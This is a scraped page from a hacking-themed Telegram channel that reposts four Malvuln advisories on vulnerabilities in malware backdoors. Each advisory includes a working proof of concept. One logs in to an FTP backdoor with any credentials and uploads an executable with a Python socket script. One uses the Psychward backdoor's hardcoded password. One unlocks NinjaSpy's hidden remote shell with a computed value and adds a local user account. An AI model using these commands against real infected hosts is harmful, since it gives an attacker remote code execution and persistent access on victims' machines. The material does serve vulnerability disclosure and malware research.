Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
CVE-2022–21907

CVE-2022–21907Continue reading on Medium »
Read more...
WHAT CROSS SITE SCRIPTING IS? | ZERO TO HERO!

Hey everyone! I just wanted to inform you guys that currently i am working on a different blog website.Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.Prorat.cwx Insecure Permissions

https://4.bp.blogspot.com/-dyIqvjR3K84/WWlvfXt5NkI/AAAAAAAAIQA/Fvmwfk3J4TgcxqdY3USv0_rN_ZW9VtW1ACLcBGAs/s1600/h85.png
Backdoor.Win32.Prorat.cwx malware suffers from an insecure permissions vulnerability.

MD5 | 5084f32556f74f1f3e5b837f2466de7f

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/2d81bf2c55c81778533b55fb444d4dc6.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.cwx
Vulnerability: Insecure Permissions
Description: The malware writes a ".EXE" file with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Family: Prorat
Type: PE32
MD5: 2d81bf2c55c81778533b55fb444d4dc6
Vuln ID: MVID-2022-0545
Disclosure: 04/14/2022

Exploit/PoC:
C:\>cacls a.exe
C:\a.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

C:\dump>dir /a \a.exe
Volume in drive C has no label.

Directory of C:\

04/08/2022 02:31 AM 368,609 a.exe
1 File(s) 368,609 bytes

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.MotivFTP.12 Authentication Bypass

https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Backdoor.Win32.MotivFTP.12 malware suffers from an authentication bypass vulnerability.

MD5 | 61728087567c1cd744e947ea1e168649

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: MotivFTP
Type: PE32
MD5: 91b2d216c5d26d9db4289acf68fa1743
Vuln ID: MVID-2022-0544
Disclosure: 04/14/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 FTP Server ready
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,25).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
import time

HOST = "192.168.18.125"
PORT = 49689
BUF_SIZE = 32
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

with open("DOOM.exe", "rb") as f:
while True:
bytez = f.read(BUF_SIZE)
if not bytez:
break
s.send(bytez)
time.sleep(0.5)

print("By malvuln")
s.close()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.Psychward.03.a Weak Hardcoded Password

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Backdoor.Win32.Psychward.03.a malware suffers from a weak hardcoded password vulnerability.

MD5 | f1fb75cc20a83324b7c933bb9065b448

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/d069738f18957117367b8a79195a6a96.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens in TCP port 69. The password "tyme" is weak and stored in plaintext with the executable.
Family: Psychward
Type: PE32
MD5: d069738f18957117367b8a79195a6a96
Vuln ID: MVID-2022-0548
Dropped files: winvxd.exe
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 69
pwd tyme tyme
psychward revised 0.3, awaiting your command

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.NinjaSpy.c Authentication Bypass

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Backdoor.Win32.NinjaSpy.c malware suffers from an authentication bypass vulnerability.

MD5 | 8aa0cadbd181fb8ff7496c48c2cdbef2

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9f39606d9e19771af5acc6811ccf557f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NinjaSpy.c
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 2003, 2004 and drops a PE file named "cmd.dll" under Windows dir. Connecting to port 2003, you will get back a number "9951" from the infected host. If we send the value 1000 we get a message in Portugese "Pisca Pisca Ativado" translates to "Blink Blink Activated". If we connect to port 2004 and send "abc123" we get message "Acesso negado..." translates to "Access denied". However, if you take the initial number we received earlier (9951) when connecting to port 2003 and apply some calculation we expose hidden functionality. Take the 9951 value and invert the first two digits to 66 and then add together the last two 5 + 1 to equal 6 for a final value of "666". Example, initial number (9951) 99 inverted equals 66 and 5 + 1 = 6. Enter and send the constructed value of "666" to port 2003 and TCP port 999 is opened. Connect to port 999 and you get back a remote shell.
Family: NinjaSpy
Type: PE32
MD5: 9f39606d9e19771af5acc6811ccf557f
Vuln ID: MVID-2022-0552
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 2004
test
Acesso negado...pwd

C:\>nc64.exe x.x.x.x 2003
9952666

C:\>nc64.exe x.x.x.x 999
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user hyp3rlinx abc123 /add
net user hyp3rlinx abc123 /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video